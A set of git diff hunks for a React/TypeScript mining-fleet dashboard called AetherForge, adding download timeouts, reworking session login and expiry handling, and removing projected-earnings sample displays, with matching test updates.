||||||
@@ -236,9 +318,8 @@ export const api = {
|
|||||||
|
|
||||||
// Full deck backup — downloads a zip containing config.json, users.json, miner.db.
|
// Full deck backup — downloads a zip containing config.json, users.json, miner.db.
|
||||||
downloadBackup: async (): Promise<void> => {
|
downloadBackup: async (): Promise<void> => {
|
||||||
const res = await fetch(`${API_BASE}/backup`, {
|
const res = await fetchAuthedWithTimeout(`${API_BASE}/backup`, BACKUP_DOWNLOAD_TIMEOUT_MS, {
|
||||||
method: 'GET',
|
method: 'GET',
|
||||||
headers: { ...authHeaders() },
|
|
||||||
});
|
});
|
||||||
if (!res.ok) {
|
if (!res.ok) {
|
||||||
const err = await res.text();
|
const err = await res.text();
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
* @vitest-environment happy-dom
|
* @vitest-environment happy-dom
|
||||||
*/
|
*/
|
||||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||||
import { downloadAuthedFile, downloadApiFile } from './download';
|
import { downloadAuthedFile, downloadApiFile, fetchAuthedWithTimeout } from './download';
|
||||||
import { setStoredAuth } from './auth';
|
import { setStoredAuth } from './auth';
|
||||||
|
|
||||||
describe('downloadAuthedFile', () => {
|
describe('downloadAuthedFile', () => {
|
||||||
@@ -11,6 +11,7 @@ describe('downloadAuthedFile', () => {
|
|||||||
|
|
||||||
beforeEach(() => {
|
beforeEach(() => {
|
||||||
sessionStorage.clear();
|
sessionStorage.clear();
|
||||||
|
localStorage.clear();
|
||||||
fetchMock = vi.fn();
|
fetchMock = vi.fn();
|
||||||
vi.stubGlobal('fetch', fetchMock);
|
vi.stubGlobal('fetch', fetchMock);
|
||||||
clickMock = vi.fn();
|
clickMock = vi.fn();
|
||||||
@@ -30,7 +31,9 @@ describe('downloadAuthedFile', () => {
|
|||||||
|
|
||||||
const [url, init] = fetchMock.mock.calls[0];
|
const [url, init] = fetchMock.mock.calls[0];
|
||||||
expect(url).toBe('/api/v1/builds/b1/download');
|
expect(url).toBe('/api/v1/builds/b1/download');
|
||||||
expect((init.headers as Record<string, string>).Authorization).toBe(`Basic ${btoa('user:pass')}`);
|
const headers = init.headers as Record<string, string>;
|
||||||
|
expect(headers.Authorization).toBe(`Basic ${btoa('user:pass')}`);
|
||||||
|
expect(headers['X-AetherForge-Client']).toBe('dashboard');
|
||||||
expect(clickMock).toHaveBeenCalled();
|
expect(clickMock).toHaveBeenCalled();
|
||||||
});
|
});
|
||||||
|
|
||||||
@@ -65,4 +68,18 @@ describe('downloadAuthedFile', () => {
|
|||||||
it('downloadApiFile is an alias', () => {
|
it('downloadApiFile is an alias', () => {
|
||||||
expect(downloadApiFile).toBe(downloadAuthedFile);
|
expect(downloadApiFile).toBe(downloadAuthedFile);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('throws timeout message when download exceeds limit', async () => {
|
||||||
|
fetchMock.mockImplementation((_url, init?: RequestInit) => {
|
||||||
|
return new Promise((_, reject) => {
|
||||||
|
init?.signal?.addEventListener('abort', () => {
|
||||||
|
reject(new DOMException('The operation was aborted.', 'AbortError'));
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
await expect(fetchAuthedWithTimeout('/api/v1/builds/x/download', 1500)).rejects.toThrow(
|
||||||
|
'Download timed out after 2s',
|
||||||
|
);
|
||||||
|
});
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -1,9 +1,46 @@
|
|||||||
import { authHeaders } from './auth';
|
import { authHeaders } from './auth';
|
||||||
|
|
||||||
|
/** Large build artifacts (ZIP, fusion bundles). */
|
||||||
|
export const DOWNLOAD_TIMEOUT_MS = 5 * 60 * 1000;
|
||||||
|
|
||||||
|
/** Full deck backup zip — may include DB + config. */
|
||||||
|
export const BACKUP_DOWNLOAD_TIMEOUT_MS = 10 * 60 * 1000;
|
||||||
|
|
||||||
|
function downloadTimeoutError(timeoutMs: number): Error {
|
||||||
|
return new Error(`Download timed out after ${Math.round(timeoutMs / 1000)}s`);
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Authenticated fetch with abort timeout and consistent AbortError messaging. */
|
||||||
|
export async function fetchAuthedWithTimeout(
|
||||||
|
url: string,
|
||||||
|
timeoutMs: number,
|
||||||
|
init?: RequestInit,
|
||||||
|
): Promise<Response> {
|
||||||
|
const controller = new AbortController();
|
||||||
|
const timer = setTimeout(() => controller.abort(), timeoutMs);
|
||||||
|
try {
|
||||||
|
return await fetch(url, {
|
||||||
|
...init,
|
||||||
|
signal: controller.signal,
|
||||||
|
headers: {
|
||||||
|
...authHeaders(),
|
||||||
|
...(init?.headers as Record<string, string> | undefined),
|
||||||
|
},
|
||||||
|
});
|
||||||
|
} catch (e) {
|
||||||
|
if (e instanceof DOMException && e.name === 'AbortError') {
|
||||||
|
throw downloadTimeoutError(timeoutMs);
|
||||||
|
}
|
||||||
|
throw e;
|
||||||
|
} finally {
|
||||||
|
clearTimeout(timer);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
/** Download a protected /api/v1 file using session auth (build uninstall scripts, etc.). */
|
/** Download a protected /api/v1 file using session auth (build uninstall scripts, etc.). */
|
||||||
export async function downloadAuthedFile(apiPath: string, filename: string): Promise<void> {
|
export async function downloadAuthedFile(apiPath: string, filename: string): Promise<void> {
|
||||||
const path = apiPath.startsWith('/api/v1') ? apiPath : `/api/v1${apiPath.startsWith('/') ? apiPath : `/${apiPath}`}`;
|
const path = apiPath.startsWith('/api/v1') ? apiPath : `/api/v1${apiPath.startsWith('/') ? apiPath : `/${apiPath}`}`;
|
||||||
const res = await fetch(path, { headers: authHeaders() });
|
const res = await fetchAuthedWithTimeout(path, DOWNLOAD_TIMEOUT_MS);
|
||||||
if (!res.ok) {
|
if (!res.ok) {
|
||||||
const err = await res.text();
|
const err = await res.text();
|
||||||
throw new Error(err || `Download failed (${res.status})`);
|
throw new Error(err || `Download failed (${res.status})`);
|
||||||
|
|||||||
@@ -50,17 +50,15 @@ export default function HashrateChart({
|
|||||||
const gradId = colorToId(color);
|
const gradId = colorToId(color);
|
||||||
const peak = chartSeriesPeak(data);
|
const peak = chartSeriesPeak(data);
|
||||||
const delta = chartSeriesDelta(data);
|
const delta = chartSeriesDelta(data);
|
||||||
const liveLabel =
|
const liveLabel = displayMode === 'live' ? '● LIVE' : '○ IDLE';
|
||||||
displayMode === 'live' ? '● LIVE' : displayMode === 'blend' ? '● SYNCING' : '● PROJECTION';
|
const liveClass = displayMode === 'live' ? 'pulse' : 'empty';
|
||||||
const liveClass =
|
|
||||||
displayMode === 'live' ? 'pulse' : displayMode === 'blend' ? 'blend' : 'sample';
|
|
||||||
|
|
||||||
if (data.length === 0) {
|
if (data.length === 0) {
|
||||||
return (
|
return (
|
||||||
<div className="chart-empty neon-chart-panel wealth-empty">
|
<div className="chart-empty neon-chart-panel wealth-empty">
|
||||||
<div className="chart-empty-icon">◈</div>
|
<div className="chart-empty-icon">◈</div>
|
||||||
<p className="font-tech">{title || 'Telemetry'}</p>
|
<p className="font-tech">{title || 'Telemetry'}</p>
|
||||||
<span>Calibrating chart telemetry…</span>
|
<span>No live data yet — connect miners to populate this chart</span>
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -5,7 +5,6 @@ import type { Agent, FleetAlert, PoolStatus, AIActivityEntry } from '../../types
|
|||||||
import type { FleetHealth, ContributionBar, SubnetGroup, PlatformCount } from '../../help/fleetAnalytics';
|
import type { FleetHealth, ContributionBar, SubnetGroup, PlatformCount } from '../../help/fleetAnalytics';
|
||||||
import { timeToPayout } from '../../help/fleetAnalytics';
|
import { timeToPayout } from '../../help/fleetAnalytics';
|
||||||
import { formatHashrate } from '../../help/fleetFilters';
|
import { formatHashrate } from '../../help/fleetFilters';
|
||||||
import { SAMPLE_FLEET_PREVIEW } from '../../help/chartSampleData';
|
|
||||||
import './FleetPanels.css';
|
import './FleetPanels.css';
|
||||||
|
|
||||||
export function AlertBanner({ alerts }: { alerts: FleetAlert[] }) {
|
export function AlertBanner({ alerts }: { alerts: FleetAlert[] }) {
|
||||||
@@ -174,26 +173,6 @@ export function EarningsEstimator({ hashrate, xmrPrice }: { hashrate: number; xm
|
|||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
/** Shown when fleet hashrate is zero — keeps the deck feeling lucrative. */
|
|
||||||
export function WealthEarningsPreview({ xmrPrice }: { xmrPrice?: number | null }) {
|
|
||||||
const price = xmrPrice ?? SAMPLE_FLEET_PREVIEW.xmrPrice;
|
|
||||||
const xmrDay = SAMPLE_FLEET_PREVIEW.xmrPerDay;
|
|
||||||
const usdDay = xmrDay * price;
|
|
||||||
|
|
||||||
return (
|
|
||||||
<NeonCard accent="gold" className="stat-card-wrap earnings-preview wealth-earnings">
|
|
||||||
<div className="earnings-preview-badge font-tech">PROJECTED YIELD</div>
|
|
||||||
<div className="stat-label font-tech">Target Fleet Earnings</div>
|
|
||||||
<div className="stat-value neon-glow-gold">~{xmrDay.toFixed(4)} XMR/day</div>
|
|
||||||
<div className="earnings-usd-day">≈ ${usdDay.toFixed(2)}/day</div>
|
|
||||||
<div className="stat-sub">At {formatHashrate(SAMPLE_FLEET_PREVIEW.hashrate)} fleet target</div>
|
|
||||||
<div className="stat-sub" style={{ marginTop: 4, opacity: 0.55, fontSize: '0.68rem' }}>
|
|
||||||
Deploy miners to replace projection with live pool data
|
|
||||||
</div>
|
|
||||||
</NeonCard>
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
// ─── Fleet Health Card ────────────────────────────────────────────────────────
|
// ─── Fleet Health Card ────────────────────────────────────────────────────────
|
||||||
|
|
||||||
export function FleetHealthCard({ health }: { health: FleetHealth }) {
|
export function FleetHealthCard({ health }: { health: FleetHealth }) {
|
||||||
@@ -231,24 +210,20 @@ export function ContributionBars({
|
|||||||
bars,
|
bars,
|
||||||
xmrPerDay,
|
xmrPerDay,
|
||||||
xmrPrice,
|
xmrPrice,
|
||||||
sample = false,
|
|
||||||
}: {
|
}: {
|
||||||
bars: ContributionBar[];
|
bars: ContributionBar[];
|
||||||
xmrPerDay?: number;
|
xmrPerDay?: number;
|
||||||
xmrPrice?: number | null;
|
xmrPrice?: number | null;
|
||||||
sample?: boolean;
|
|
||||||
}) {
|
}) {
|
||||||
if (bars.length === 0) return null;
|
if (bars.length === 0) return null;
|
||||||
return (
|
return (
|
||||||
<NeonCard accent="cyan" className={`section contrib-panel${sample ? ' sample-contrib' : ''}`} hud>
|
<NeonCard accent="cyan" className="section contrib-panel" hud>
|
||||||
<h2 className="section-title font-display">
|
<h2 className="section-title font-display">
|
||||||
<span className="section-ornament">◆</span> Contribution Map
|
<span className="section-ornament">◆</span> Contribution Map
|
||||||
<span className="section-line" />
|
<span className="section-line" />
|
||||||
</h2>
|
</h2>
|
||||||
<p className="form-hint" style={{ marginTop: 0 }}>
|
<p className="form-hint" style={{ marginTop: 0 }}>
|
||||||
{sample
|
Each bar shows a machine's share of total fleet hashrate.
|
||||||
? 'Sample contribution map — your rigs will populate this lane when they connect.'
|
|
||||||
: "Each bar shows a machine's share of total fleet hashrate."}
|
|
||||||
</p>
|
</p>
|
||||||
<div className="contrib-list">
|
<div className="contrib-list">
|
||||||
{bars.map((b) => {
|
{bars.map((b) => {
|
||||||
|
|||||||
@@ -1,103 +1,159 @@
|
|||||||
import { useEffect, useState, type ReactNode } from 'react';
|
import { useEffect, useState, type ReactNode } from 'react';
|
||||||
import { getStoredAuth, setStoredAuth } from '../api/auth';
|
|
||||||
import { useSound } from '../context/SoundContext';
|
import {
|
||||||
import { FlowerOfLifeWatermark, KnowledgeKey } from './Visual/sacredGeometry/motifs';
|
|
||||||
|
AETHERFORGE_CLIENT_HEADER,
|
||||||
export default function SessionGate({ children }: { children: ReactNode }) {
|
|
||||||
const { play } = useSound();
|
AETHERFORGE_CLIENT_VALUE,
|
||||||
const [ready, setReady] = useState(false);
|
|
||||||
const [authed, setAuthed] = useState(!!getStoredAuth());
|
authHeaders,
|
||||||
const [user, setUser] = useState('');
|
|
||||||
const [pass, setPass] = useState('');
|
clearStoredAuth,
|
||||||
const [err, setErr] = useState('');
|
|
||||||
|
consumeAuthExpiredFlag,
|
||||||
useEffect(() => {
|
|
||||||
const token = getStoredAuth();
|
encodeBasicToken,
|
||||||
if (!token) {
|
|
||||||
setAuthed(false);
|
getStoredAuth,
|
||||||
setReady(true);
|
|
||||||
return;
|
setStoredAuth,
|
||||||
}
|
|
||||||
fetch('/api/v1/config', { headers: { Authorization: `Basic ${token}` } })
|
} from '../api/auth';
|
||||||
.then((r) => {
|
|
||||||
setAuthed(r.ok);
|
import { useSound } from '../context/SoundContext';
|
||||||
setReady(true);
|
|
||||||
})
|
import { FlowerOfLifeWatermark, KnowledgeKey } from './Visual/sacredGeometry/motifs';
|
||||||
.catch(() => {
|
|
||||||
setAuthed(false);
|
|
||||||
setReady(true);
|
|
||||||
});
|
export default function SessionGate({ children }: { children: ReactNode }) {
|
||||||
}, []);
|
|
||||||
|
const { play } = useSound();
|
||||||
const handleLogin = async (e: React.FormEvent) => {
|
|
||||||
e.preventDefault();
|
const [ready, setReady] = useState(false);
|
||||||
setErr('');
|
|
||||||
const token = btoa(`${user}:${pass}`);
|
const [authed, setAuthed] = useState(!!getStoredAuth());
|
||||||
try {
|
|
||||||
const res = await fetch('/api/v1/config', { headers: { Authorization: `Basic ${token}` } });
|
const [degraded, setDegraded] = useState(false);
|
||||||
if (!res.ok) {
|
|
||||||
setErr('Login failed — check username and password.');
|
const [user, setUser] = useState('');
|
||||||
play('error');
|
|
||||||
return;
|
const [pass, setPass] = useState('');
|
||||||
}
|
|
||||||
setStoredAuth(user, pass);
|
const [err, setErr] = useState('');
|
||||||
setAuthed(true);
|
|
||||||
play('success');
|
const [sessionExpired, setSessionExpired] = useState(false);
|
||||||
} catch {
|
|
||||||
setErr('Cannot reach server — check that miner-server is running.');
|
|
||||||
}
|
|
||||||
};
|
useEffect(() => {
|
||||||
|
|
||||||
if (!ready) {
|
const sync = () => {
|
||||||
return (
|
|
||||||
<div className="session-gate">
|
const hasAuth = !!getStoredAuth();
|
||||||
<div className="session-gate-sacred-ring" aria-hidden>
|
|
||||||
<FlowerOfLifeWatermark opacity={0.5} />
|
setAuthed(hasAuth);
|
||||||
</div>
|
|
||||||
<p className="font-tech">Starting AetherForge…</p>
|
if (!hasAuth) {
|
||||||
</div>
|
|
||||||
);
|
setSessionExpired(consumeAuthExpiredFlag());
|
||||||
}
|
|
||||||
|
}
|
||||||
if (!authed) {
|
|
||||||
return (
|
};
|
||||||
<div className="session-gate">
|
|
||||||
<div className="session-gate-sacred-ring" aria-hidden>
|
window.addEventListener('aetherforge-auth', sync);
|
||||||
<FlowerOfLifeWatermark opacity={0.5} />
|
|
||||||
</div>
|
return () => window.removeEventListener('aetherforge-auth', sync);
|
||||||
<div className="session-gate-keys" aria-hidden>
|
|
||||||
<div className="session-gate-key session-gate-key--tl">
|
}, []);
|
||||||
<KnowledgeKey opacity={0.55} />
|
|
||||||
</div>
|
|
||||||
<div className="session-gate-key session-gate-key--br">
|
|
||||||
<KnowledgeKey opacity={0.45} />
|
useEffect(() => {
|
||||||
</div>
|
|
||||||
</div>
|
const token = getStoredAuth();
|
||||||
<form className="session-gate-card card" onSubmit={handleLogin}>
|
|
||||||
<h1 className="font-display">AetherForge</h1>
|
if (!token) {
|
||||||
<p className="form-hint">Sign in to open the command deck.</p>
|
|
||||||
<label className="label" htmlFor="session-user">Username</label>
|
setAuthed(false);
|
||||||
<input id="session-user" className="input" value={user} onChange={(e) => setUser(e.target.value)} autoComplete="username" />
|
|
||||||
<label className="label" htmlFor="session-pass">Password</label>
|
setSessionExpired(consumeAuthExpiredFlag());
|
||||||
<input
|
|
||||||
id="session-pass"
|
setReady(true);
|
||||||
className="input"
|
|
||||||
type="password"
|
return;
|
||||||
value={pass}
|
|
||||||
onChange={(e) => setPass(e.target.value)}
|
}
|
||||||
autoComplete="current-password"
|
|
||||||
/>
|
fetch('/api/v1/config', { headers: authHeaders() })
|
||||||
{err && <p className="form-hint" style={{ color: 'var(--accent-red)' }}>{err}</p>}
|
|
||||||
<button type="submit" className="btn btn-primary btn-lg">
|
.then((r) => {
|
||||||
Enter Command Deck
|
|
||||||
</button>
|
if (r.status === 401) {
|
||||||
<p className="session-gate-whisper" aria-hidden>
|
|
||||||
ψ · the deck remembers every key
|
clearStoredAuth({ silent: true, expired: true });
|
||||||
</p>
|
|
||||||
</form>
|
setAuthed(false);
|
||||||
</div>
|
|
||||||
);
|
setSessionExpired(true);
|
||||||
}
|
|
||||||
|
} else if (!r.ok) {
|
||||||
return <>{children}</>;
|
|
||||||
}
|
// Server reachable but unhappy — keep saved credentials (degraded mode).
|
||||||
|
|
||||||
|
setAuthed(true);
|
||||||
|
|
||||||
|
setDegraded(true);
|
||||||
|
|
||||||
|
} else {
|
||||||
|
|
||||||
|
setAuthed(true);
|
||||||
|
|
||||||
|
setDegraded(false);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
setReady(true);
|
||||||
|
|
||||||
|
})
|
||||||
|
|
||||||
|
.catch(() => {
|
||||||
|
|
||||||
|
// Network blip — trust stored credentials until the server responds.
|
||||||
|
|
||||||
|
setAuthed(true);
|
||||||
|
|
||||||
|
setDegraded(true);
|
||||||
|
|
||||||
|
setReady(true);
|
||||||
|
|
||||||
|
});
|
||||||
|
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
const handleLogin = async (e: React.FormEvent) => {
|
||||||
|
|
||||||
|
e.preventDefault();
|
||||||
|
|
||||||
|
setErr('');
|
||||||
|
|
||||||
|
setSessionExpired(false);
|
||||||
|
|
||||||
|
const headers: Record<string, string> = {
|
||||||
|
|
||||||
|
[AETHERFORGE_CLIENT_HEADER]: AETHERFORGE_CLIENT_VALUE,
|
||||||
|
|
||||||
|
Authorization: `Basic ${encodeBasicToken(user, pass)}`,
|
||||||
|
|
||||||
|
};
|
||||||
|
|
||||||
|
try {
|
||||||
|
|
||||||
|
const res = await fetch('/api/v1/config', { headers });
|
||||||
|
|
||||||
|
if (!res.ok) {
|
||||||
|
|
||||||
|
setErr('Login failed — check username and password.');
|
||||||
|
|||||||
@@ -73,12 +73,12 @@ interface ActivityPulseProps {
|
|||||||
items: { id: string; label: string; ok: boolean; time?: string }[];
|
items: { id: string; label: string; ok: boolean; time?: string }[];
|
||||||
}
|
}
|
||||||
|
|
||||||
export function ActivityPulse({ items, sample = false }: ActivityPulseProps & { sample?: boolean }) {
|
export function ActivityPulse({ items }: ActivityPulseProps) {
|
||||||
if (items.length === 0) {
|
if (items.length === 0) {
|
||||||
return <p className="activity-empty font-tech">Awaiting fleet activity…</p>;
|
return <p className="activity-empty font-tech">Awaiting fleet activity…</p>;
|
||||||
}
|
}
|
||||||
return (
|
return (
|
||||||
<div className={`activity-pulse${sample ? ' sample-activity' : ''}`}>
|
<div className="activity-pulse">
|
||||||
{items.slice(0, 12).map((item) => (
|
{items.slice(0, 12).map((item) => (
|
||||||
<div key={item.id} className={`activity-blip ${item.ok ? 'ok' : 'bad'}`} title={item.time || item.label}>
|
<div key={item.id} className={`activity-blip ${item.ok ? 'ok' : 'bad'}`} title={item.time || item.label}>
|
||||||
<span className="activity-blip-core" />
|
<span className="activity-blip-core" />
|
||||||
|
|||||||
@@ -65,15 +65,22 @@ vi.mock('../context/ForgeContext', () => ({
|
|||||||
useForge: vi.fn(() => ({ forging: false, stage: '' })),
|
useForge: vi.fn(() => ({ forging: false, stage: '' })),
|
||||||
}));
|
}));
|
||||||
|
|
||||||
vi.mock('../api/download', () => ({
|
vi.mock('../api/download', () => {
|
||||||
downloadApiFile: vi.fn(),
|
const downloadAuthedFile = vi.fn();
|
||||||
downloadAuthedFile: vi.fn(),
|
return {
|
||||||
}));
|
downloadAuthedFile,
|
||||||
|
downloadApiFile: downloadAuthedFile,
|
||||||
|
};
|
||||||
|
});
|
||||||
|
|
||||||
vi.mock('../api/auth', () => ({
|
vi.mock('../api/auth', async (importOriginal) => {
|
||||||
getStoredAuth: vi.fn(),
|
const actual = await importOriginal<typeof import('../api/auth')>();
|
||||||
setStoredAuth: vi.fn(),
|
return {
|
||||||
}));
|
...actual,
|
||||||
|
getStoredAuth: vi.fn(),
|
||||||
|
setStoredAuth: vi.fn(),
|
||||||
|
};
|
||||||
|
});
|
||||||
|
|
||||||
vi.mock('qrcode', () => ({
|
vi.mock('qrcode', () => ({
|
||||||
default: {
|
default: {
|
||||||
@@ -174,9 +181,7 @@ describe('DownloadButton', () => {
|
|||||||
);
|
);
|
||||||
const btn = screen.getByRole('button', { name: 'Save' });
|
const btn = screen.getByRole('button', { name: 'Save' });
|
||||||
await userEvent.setup().click(btn);
|
await userEvent.setup().click(btn);
|
||||||
await waitFor(() => {
|
expect(screen.getByRole('button', { name: 'Downloading…' })).toBeDisabled();
|
||||||
expect(screen.getByRole('button', { name: 'Downloading…' })).toBeDisabled();
|
|
||||||
});
|
|
||||||
await waitFor(() => expect(downloadApiFileMock).toHaveBeenCalledWith('/api/x', 'a.bin'));
|
await waitFor(() => expect(downloadApiFileMock).toHaveBeenCalledWith('/api/x', 'a.bin'));
|
||||||
});
|
});
|
||||||
|
|
||||||
@@ -283,7 +288,7 @@ describe('SessionGate', () => {
|
|||||||
|
|
||||||
it('renders children when stored auth validates', async () => {
|
it('renders children when stored auth validates', async () => {
|
||||||
getStoredAuthMock.mockReturnValue('dGVzdA==');
|
getStoredAuthMock.mockReturnValue('dGVzdA==');
|
||||||
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({ ok: true }));
|
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({ ok: true, status: 200 }));
|
||||||
render(
|
render(
|
||||||
<SessionGate>
|
<SessionGate>
|
||||||
<div>protected</div>
|
<div>protected</div>
|
||||||
@@ -291,6 +296,18 @@ describe('SessionGate', () => {
|
|||||||
);
|
);
|
||||||
await waitFor(() => expect(screen.getByText('protected')).toBeInTheDocument());
|
await waitFor(() => expect(screen.getByText('protected')).toBeInTheDocument());
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('keeps session on network blip during startup validation', async () => {
|
||||||
|
getStoredAuthMock.mockReturnValue('dGVzdA==');
|
||||||
|
vi.stubGlobal('fetch', vi.fn().mockRejectedValue(new Error('ECONNREFUSED')));
|
||||||
|
render(
|
||||||
|
<SessionGate>
|
||||||
|
<div>protected</div>
|
||||||
|
</SessionGate>
|
||||||
|
);
|
||||||
|
await waitFor(() => expect(screen.getByText('protected')).toBeInTheDocument());
|
||||||
|
expect(screen.getByRole('status')).toHaveTextContent(/Cannot reach server/i);
|
||||||
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
describe('GaugeRing', () => {
|
describe('GaugeRing', () => {
|
||||||
@@ -320,7 +337,7 @@ describe('HashrateChart', () => {
|
|||||||
it('shows empty state when data is empty', () => {
|
it('shows empty state when data is empty', () => {
|
||||||
render(<HashrateChart data={[]} title="Fleet Hash" />);
|
render(<HashrateChart data={[]} title="Fleet Hash" />);
|
||||||
expect(screen.getByText('Fleet Hash')).toBeInTheDocument();
|
expect(screen.getByText('Fleet Hash')).toBeInTheDocument();
|
||||||
expect(screen.getByText(/Calibrating chart telemetry/i)).toBeInTheDocument();
|
expect(screen.getByText(/No live data yet/i)).toBeInTheDocument();
|
||||||
});
|
});
|
||||||
|
|
||||||
it('renders chart with validated sample series', () => {
|
it('renders chart with validated sample series', () => {
|
||||||
@@ -329,14 +346,14 @@ describe('HashrateChart', () => {
|
|||||||
render(
|
render(
|
||||||
<HashrateChart
|
<HashrateChart
|
||||||
data={sample}
|
data={sample}
|
||||||
displayMode="sample"
|
displayMode="live"
|
||||||
title="Fleet Hash"
|
title="Fleet Hash"
|
||||||
color="#00f5ff"
|
color="#00f5ff"
|
||||||
unit="H/s"
|
unit="H/s"
|
||||||
/>
|
/>
|
||||||
);
|
);
|
||||||
expect(screen.getByText(/PEAK/)).toBeInTheDocument();
|
expect(screen.getByText(/PEAK/)).toBeInTheDocument();
|
||||||
expect(screen.getByText(/PROJECTION/)).toBeInTheDocument();
|
expect(screen.getByText(/LIVE/)).toBeInTheDocument();
|
||||||
});
|
});
|
||||||
|
|
||||||
it('renders chart with data points', () => {
|
it('renders chart with data points', () => {
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
* @vitest-environment happy-dom
|
* @vitest-environment happy-dom
|
||||||
*/
|
*/
|
||||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||||
import { act, render, renderHook } from '@testing-library/react';
|
import { act, render, renderHook, waitFor } from '@testing-library/react';
|
||||||
import { WebSocketProvider } from './WebSocketProvider';
|
import { WebSocketProvider } from './WebSocketProvider';
|
||||||
import { useWebSocketContext } from './WebSocketContext';
|
import { useWebSocketContext } from './WebSocketContext';
|
||||||
import { useWebSocket } from '../hooks/useWebSocket';
|
import { useWebSocket } from '../hooks/useWebSocket';
|
||||||
@@ -50,6 +50,7 @@ describe('WebSocketProvider', () => {
|
|||||||
MockWebSocket.instances = [];
|
MockWebSocket.instances = [];
|
||||||
setStoredAuth('testuser', 'testpass', { silent: true });
|
setStoredAuth('testuser', 'testpass', { silent: true });
|
||||||
vi.stubGlobal('WebSocket', MockWebSocket as unknown as typeof WebSocket);
|
vi.stubGlobal('WebSocket', MockWebSocket as unknown as typeof WebSocket);
|
||||||
|
vi.stubGlobal('fetch', vi.fn().mockRejectedValue(new Error('no ws ticket')));
|
||||||
Object.defineProperty(window, 'location', {
|
Object.defineProperty(window, 'location', {
|
||||||
value: { protocol: 'http:', host: 'localhost:8080' },
|
value: { protocol: 'http:', host: 'localhost:8080' },
|
||||||
configurable: true,
|
configurable: true,
|
||||||
@@ -64,16 +65,23 @@ describe('WebSocketProvider', () => {
|
|||||||
return MockWebSocket.instances.at(-1)!;
|
return MockWebSocket.instances.at(-1)!;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
async function waitForSocket() {
|
||||||
|
await waitFor(() => {
|
||||||
|
expect(MockWebSocket.instances.length).toBeGreaterThan(0);
|
||||||
|
});
|
||||||
|
return latestSocket();
|
||||||
|
}
|
||||||
|
|
||||||
function wrapper({ children }: { children: React.ReactNode }) {
|
function wrapper({ children }: { children: React.ReactNode }) {
|
||||||
return <WebSocketProvider>{children}</WebSocketProvider>;
|
return <WebSocketProvider>{children}</WebSocketProvider>;
|
||||||
}
|
}
|
||||||
|
|
||||||
it('connects to ws dashboard with auth token query param', () => {
|
it('connects to ws dashboard with auth token query param', async () => {
|
||||||
setStoredAuth('drjones', 'secret');
|
setStoredAuth('drjones', 'secret');
|
||||||
MockWebSocket.instances = [];
|
MockWebSocket.instances = [];
|
||||||
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
|
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
|
||||||
|
|
||||||
const ws = latestSocket();
|
const ws = await waitForSocket();
|
||||||
const token = btoa('drjones:secret');
|
const token = btoa('drjones:secret');
|
||||||
expect(ws.url).toBe(`ws://localhost:8080/ws/dashboard?token=${encodeURIComponent(token)}`);
|
expect(ws.url).toBe(`ws://localhost:8080/ws/dashboard?token=${encodeURIComponent(token)}`);
|
||||||
|
|
||||||
@@ -92,9 +100,10 @@ describe('WebSocketProvider', () => {
|
|||||||
expect(useWebSocket).toBe(useWebSocketContext);
|
expect(useWebSocket).toBe(useWebSocketContext);
|
||||||
});
|
});
|
||||||
|
|
||||||
it('handles init and agent_online messages', () => {
|
it('handles init and agent_online messages', async () => {
|
||||||
const agent = mockAgent({ id: 'live-1' });
|
const agent = mockAgent({ id: 'live-1' });
|
||||||
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
|
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
|
||||||
|
await waitForSocket();
|
||||||
|
|
||||||
act(() => {
|
act(() => {
|
||||||
latestSocket().emitOpen();
|
latestSocket().emitOpen();
|
||||||
@@ -115,9 +124,10 @@ describe('WebSocketProvider', () => {
|
|||||||
expect(result.current.agents[0].hashrate_15s).toBe(999);
|
expect(result.current.agents[0].hashrate_15s).toBe(999);
|
||||||
});
|
});
|
||||||
|
|
||||||
it('marks agent offline and caps recent shares', () => {
|
it('marks agent offline and caps recent shares', async () => {
|
||||||
const agent = mockAgent({ id: 'a-offline' });
|
const agent = mockAgent({ id: 'a-offline' });
|
||||||
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
|
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
|
||||||
|
await waitForSocket();
|
||||||
|
|
||||||
act(() => {
|
act(() => {
|
||||||
latestSocket().emitOpen();
|
latestSocket().emitOpen();
|
||||||
@@ -140,8 +150,9 @@ describe('WebSocketProvider', () => {
|
|||||||
expect(result.current.recentShares.length).toBeLessThanOrEqual(50);
|
expect(result.current.recentShares.length).toBeLessThanOrEqual(50);
|
||||||
});
|
});
|
||||||
|
|
||||||
it('assigns monotonic _seq on command_result', () => {
|
it('assigns monotonic _seq on command_result', async () => {
|
||||||
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
|
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
|
||||||
|
await waitForSocket();
|
||||||
|
|
||||||
act(() => {
|
act(() => {
|
||||||
latestSocket().emitOpen();
|
latestSocket().emitOpen();
|
||||||
@@ -161,23 +172,24 @@ describe('WebSocketProvider', () => {
|
|||||||
expect(result.current.agentLogs.a1).toBe('log data');
|
expect(result.current.agentLogs.a1).toBe('log data');
|
||||||
});
|
});
|
||||||
|
